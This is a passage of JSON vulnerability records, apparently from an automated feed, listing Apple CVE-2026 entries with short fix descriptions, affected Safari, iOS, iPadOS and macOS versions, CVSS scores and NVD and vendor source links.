CVE-2026-28908","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-28908","type":"primary","publishedAt":"2026-05-11T21:18:53.607Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://support.apple.com/en-us/127115","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-28907","cveId":"CVE-2026-28907","aliases":[],"kind":"vulnerability","title":"The issue was addressed with improved input validation.","summary":"The issue was addressed with improved input validation. This issue is fixed in Safari 26.5, iOS 18.7.9 and iPadOS 18.7.9, iOS 26.5 and iPadOS 26.5, macOS Tahoe 26.5, tvOS 26.5, visionOS 26.5, watchOS 26.5. Processing maliciously crafted web content may prevent Content Security Policy from being enforced.","detail":"The issue was addressed with improved input validation. This issue is fixed in Safari 26.5, iOS 18.7.9 and iPadOS 18.7.9, iOS 26.5 and iPadOS 26.5, macOS Tahoe 26.5, tvOS 26.5, visionOS 26.5, watchOS 26.5. Processing maliciously crafted web content may prevent Content Security Policy from being enforced.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-11T21:18:53.503Z","updatedAt":"2026-10-26T18:10:00.173Z","regions":["Global"],"vendor":"apple","product":"ipados","stacks":["Apple iOS and iPadOS","ipados"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-28907","asOf":"2026-10-26T18:10:00.173Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-28907","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-28907","type":"primary","publishedAt":"2026-05-11T21:18:53.503Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://support.apple.com/en-us/127110","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-28906","cveId":"CVE-2026-28906","aliases":[],"kind":"vulnerability","title":"This issue was addressed through improved state management.","summary":"This issue was addressed through improved state management. This issue is fixed in iOS 18.7.9 and iPadOS 18.7.9, iOS 26.5 and iPadOS 26.5, macOS Sequoia 15.7.7, macOS Sonoma 14.8.7, macOS Tahoe 26.5, visionOS 26.5. An attacker may be able to track users through their IP address.","detail":"This issue was addressed through improved state management. This issue is fixed in iOS 18.7.9 and iPadOS 18.7.9, iOS 26.5 and iPadOS 26.5, macOS Sequoia 15.7.7, macOS Sonoma 14.8.7, macOS Tahoe 26.5, visionOS 26.5. An attacker may be able to track users through their IP address.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-11T21:18:53.403Z","updatedAt":"2026-10-26T18:10:00.173Z","regions":["Global"],"vendor":"apple","product":"ipados","stacks":["Apple iOS and iPadOS","ipados"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-28906","asOf":"2026-10-26T18:10:00.173Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-28906","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-28906","type":"primary","publishedAt":"2026-05-11T21:18:53.403Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://support.apple.com/en-us/127110","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-28905","cveId":"CVE-2026-28905","aliases":[],"kind":"vulnerability","title":"The issue was addressed with improved memory handling.","summary":"The issue was addressed with improved memory handling. This issue is fixed in Safari 26.5, iOS 26.5 and iPadOS 26.5, macOS Tahoe 26.5, tvOS 26.5, visionOS 26.5. Processing maliciously crafted web content may lead to an unexpected process crash.","detail":"The issue was addressed with improved memory handling. This issue is fixed in Safari 26.5, iOS 26.5 and iPadOS 26.5, macOS Tahoe 26.5, tvOS 26.5, visionOS 26.5. Processing maliciously crafted web content may lead to an unexpected process crash.\n\nNVD status: Modified. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-11T21:18:53.310Z","updatedAt":"2026-10-26T18:10:00.173Z","regions":["Global"],"vendor":"apple","product":"ipados","stacks":["Apple iOS and iPadOS","ipados"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-28905","asOf":"2026-10-26T18:10:00.173Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-28905","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-28905","type":"primary","publishedAt":"2026-05-11T21:18:53.310Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://support.apple.com/en-us/127110","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-28904","cveId":"CVE-2026-28904","aliases":[],"kind":"vulnerability","title":"The issue was addressed with improved memory handling.","summary":"The issue was addressed with improved memory handling. This issue is fixed in Safari 26.5, iOS 18.7.9 and iPadOS 18.7.9, iOS 26.5 and iPadOS 26.5, macOS Tahoe 26.5, tvOS 26.5, visionOS 26.5, watchOS 26.5. Processing maliciously crafted web content may lead to an unexpected process crash.","detail":"The issue was addressed with improved memory handling. This issue is fixed in Safari 26.5, iOS 18.7.9 and iPadOS 18.7.9, iOS 26.5 and iPadOS 26.5, macOS Tahoe 26.5, tvOS 26.5, visionOS 26.5, watchOS 26.5. Processing maliciously crafted web content may lead to an unexpected process crash.\n\nNVD status: Modified. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-11T21:18:53.210Z","updatedAt":"2026-10-26T18:10:00.173Z","regions":["Global"],"vendor":"apple","product":"ipados","stacks":["Apple iOS and iPadOS","ipados"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-28904","asOf":"2026-10-26T18:10:00.173Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-28904","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-28904","type":"primary","publishedAt":"2026-05-11T21:18:53.210Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://support.apple.com/en-us/127110","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-28903","cveId":"CVE-2026-28903","aliases":[],"kind":"vulnerability","title":"The issue was addressed with improved memory handling.","summary":"The issue was addressed with improved memory handling. This issue is fixed in Safari 26.5, iOS 18.7.9 and iPadOS 18.7.9, iOS 26.5 and iPadOS 26.5, macOS Tahoe 26.5, tvOS 26.5, visionOS 26.5, watchOS 26.5. Processing maliciously crafted web content may lead to an unexpected process crash.","detail":"The issue was addressed with improved memory handling. This issue is fixed in Safari 26.5, iOS 18.7.9 and iPadOS 18.7.9, iOS 26.5 and iPadOS 26.5, macOS Tahoe 26.5, tvOS 26.5, visionOS 26.5, watchOS 26.5. Processing maliciously crafted web content may lead to an unexpected process crash.\n\nNVD status: Modified. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-11T21:18:53.113Z","updatedAt":"2026-10-26T18:10:00.173Z","regions":["Global"],"vendor":"apple","product":"ipados","stacks":["Apple iOS and iPadOS","ipados"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":6.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-28903","asOf":"2026-10-26T18:10:00.173Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-28903","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-28903","type":"primary","publishedAt":"2026-05-11T21:18:53.113Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://support.apple.com/en-us/127110","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-28902","cveId":"CVE-2026-28902","aliases":[],"kind":"vulnerability","title":"The issue was addressed with improved memory handling.","summary":"The issue was addressed with improved memory handling. This issue is fixed in Safari 26.5, iOS 26.5 and iPadOS 26.5, macOS Tahoe 26.5, tvOS 26.5, visionOS 26.5, watchOS 26.5. Processing maliciously crafted web content may lead to an unexpected process crash.","detail":"The issue was addressed with improved memory handling. This issue is fixed in Safari 26.5, iOS 26.5 and iPadOS 26.5, macOS Tahoe 26.5, tvOS 26.5, visionOS 26.5, watchOS 26.5. Processing maliciously crafted web content may lead to an unexpected process crash.\n\nNVD status: Modified. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-11T21:18:53.017Z","updatedAt":"2026-10-26T18:10:00.173Z","regions":["Global"],"vendor":"apple","product":"ipados","stacks":["Apple iOS and iPadOS","ipados"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":6.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-28902","asOf":"2026-10-26T18:10:00.173Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-28902","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-28902","type":"primary","publishedAt":"2026-05-11T21:18:53.017Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://support.apple.com/en-us/127110","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-28901","cveId":"CVE-2026-28901","aliases":[],"kind":"vulnerability","title":"The issue was addressed with improved memory handling.","summary":"The issue was addressed with improved memory handling. This issue is fixed in Safari 26.5, iOS 26.5 and iPadOS 26.5, macOS Tahoe 26.5, tvOS 26.5, visionOS 26.5, watchOS 26.5. Processing maliciously crafted web content may lead to an unexpected process crash.","detail":"The issue was addressed with improved memory handling. This issue is fixed in Safari 26.5, iOS 26.5 and iPadOS 26.5, macOS Tahoe 26.5, tvOS 26.5, visionOS 26.5, watchOS 26.5. Processing maliciously crafted web content may lead to an unexpected process crash.\n\nNVD status: Modified. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-11T21:18:52.913Z","updatedAt":"2026-10-26T18:10:00.173Z","regions":["Global"],"vendor":"apple","product":"ipados","stacks":["Apple iOS and iPadOS","ipados"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":4.3,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:L","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-28901","asOf":"2026-10-26T18:10:00.173Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-28901","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-28901","type":"primary","publishedAt":"2026-05-11T21:18:52.913Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://support.apple.com/en-us/127110","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-28883","cveId":"CVE-2026-28883","aliases":[],"kind":"vulnerability","title":"A use-after-free issue was addressed with improved memory management.","summary":"A use-after-free issue was addressed with improved memory management. This issue is fixed in Safari 26.5, iOS 26.5 and iPadOS 26.5, macOS Tahoe 26.5, tvOS 26.5, visionOS 26.5, watchOS 26.5. Processing maliciously crafted web content may lead to an unexpected process crash.","detail":"A use-after-free issue was addressed with improved memory management. This issue is fixed in Safari 26.5, iOS 26.5 and iPadOS 26.5, macOS Tahoe 26.5, tvOS 26.5, visionOS 26.5, watchOS 26.5. Processing maliciously crafted web content may lead to an unexpected process crash.\n\nNVD status: Modified. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-11T21:18:52.700Z","updatedAt":"2026-10-26T18:10:00.173Z","regions":["Global"],"vendor":"apple","product":"ipados","stacks":["Apple iOS and iPadOS","ipados"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-28883","asOf":"2026-10-26T18:10:00.173Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-28883","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-28883","type":"primary","publishedAt":"2026-05-11T21:18:52.700Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://support.apple.com/en-us/127110","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-28872","cveId":"CVE-2026-28872","aliases":[],"kind":"vulnerability","title":"A resource exhaustion issue was addressed with improved input validation.","summary":"A resource exhaustion issue was addressed with improved input validation. This issue is fixed in iOS 18.7.9 and iPadOS 18.7.9, iOS 26.4 and iPadOS 26.4. A remote attacker may be able to cause a denial-of-service.","detail":"A resource exhaustion issue was addressed with improved input validation. This issue is fixed in iOS 18.7.9 and iPadOS 18.7.9, iOS 26.4 and iPadOS 26.4. A remote attacker may be able to cause a denial-of-service.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-11T21:18:51.977Z","updatedAt":"2026-10-26T18:10:00.173Z","regions":["Global"],"vendor":"apple","product":"ipados","stacks":["Apple iOS and iPadOS","ipados"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-28872","asOf":"2026-10-26T18:10:00.173Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-28872","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-28872","type":"primary","publishedAt":"2026-05-11T21:18:51.977Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://support.apple.com/en-us/126792","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-28860","cveId":"CVE-2026-28860","aliases":[],"kind":"vulnerability","title":"The issue was addressed with improved input validation.","summary":"The issue was addressed with improved input validation. This issue is fixed in iOS 18.7.7 and iPadOS 18.7.7, iOS 26.4 and iPadOS 26.4, macOS Sequoia 15.7.5, macOS Sonoma 14.8.5, macOS Tahoe 26.4, tvOS 26.4, visionOS 26.4, watchOS 26.4. A local attacker may be able to modify the state of the Keychain.","detail":"The issue was addressed with improved input validation. This issue is fixed in iOS 18.7.7 and iPadOS 18.7.7, iOS 26.4 and iPadOS 26.4, macOS Sequoia 15.7.5, macOS Sonoma 14.8.5, macOS Tahoe 26.4, tvOS 26.4, visionOS 26.4, watchOS 26.4. A local attacker may be able to modify the state of the Keychain.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-11T21:18:51.707Z","updatedAt":"2026-10-26T18:10:00.173Z","regions":["Global"],"vendor":"apple","product":"ipados","stacks":["Apple iOS and iPadOS","ipados"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-28860","asOf":"2026-10-26T18:10:00.173Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-28860","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-28860","type":"primary","publishedAt":"2026-05-11T21:18:51.707Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://support.apple.com/en-us/126792","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-28848","cveId":"CVE-2026-28848","aliases":[],"kind":"vulnerability","title":"A buffer overflow was addressed with improved bounds checking.","summary":"A buffer overflow was addressed with improved bounds checking. This issue is fixed in macOS Sequoia 15.7.7, macOS Tahoe 26.5. A remote attacker may be able to cause unexpected system termination.","detail":"A buffer overflow was addressed with improved bounds checking. This issue is fixed in macOS Sequoia 15.7.7, macOS Tahoe 26.5. A remote attacker may be able to cause unexpected system termination.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-11T21:18:51.607Z","updatedAt":"2026-10-26T18:10:00.173Z","regions":["Global"],"vendor":"apple","product":"macos","stacks":["Apple macOS","macos"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-28848","asOf":"2026-10-26T18:10:00.173Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-28848","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-28848","type":"primary","publishedAt":"2026-05-11T21:18:51.607Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://support.apple.com/en-us/127115","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-28847","cveId":"CVE-2026-28847","aliases":[],"kind":"vulnerability","title":"The issue was addressed with improved memory handling.","summary":"The issue was addressed with improved memory handling. This issue is fixed in Safari 26.5, iOS 18.7.9 and iPadOS 18.7.9, iOS 26.5 and iPadOS 26.5, macOS Tahoe 26.5, tvOS 26.5, visionOS 26.5, watchOS 26.5. Processing maliciously crafted web content may lead to an unexpected process crash.","detail":"The issue was addressed with improved memory handling. This issue is fixed in Safari 26.5, iOS 18.7.9 and iPadOS 18.7.9, iOS 26.5 and iPadOS 26.5, macOS Tahoe 26.5, tvOS 26.5, visionOS 26.5, watchOS 26.5. Processing maliciously crafted web content may lead to an unexpected process crash.\n\nNVD status: Modified. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-11T21:18:51.507Z","updatedAt":"2026-10-26T18:10:00.173Z","regions":["Global"],"vendor":"apple","product":"ipados","stacks":["Apple iOS and iPadOS","ipados"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-28847","asOf":"2026-10-26T18:10:00.173Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-28847","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-28847","type":"primary","publishedAt":"2026-05-11T21:18:51.507Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://support.apple.com/en-us/127110","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-28846","cveId":"CVE-2026-28846","aliases":[],"kind":"vulnerability","title":"A buffer overflow was addressed with improved bounds checking.","summary":"A buffer overflow was addressed with improved bounds checking. This issue is fixed in iOS 18.7.9 and iPadOS 18.7.9, iOS 26.5 and iPadOS 26.5, macOS Sequoia 15.7.7, macOS Sonoma 14.8.7, macOS Tahoe 26.5, tvOS 26.5, visionOS 26.5, watchOS 26.5. A remote attacker may be able to cause unexpected app termination.","detail":"A buffer overflow was addressed with improved bounds checking. This issue is fixed in iOS 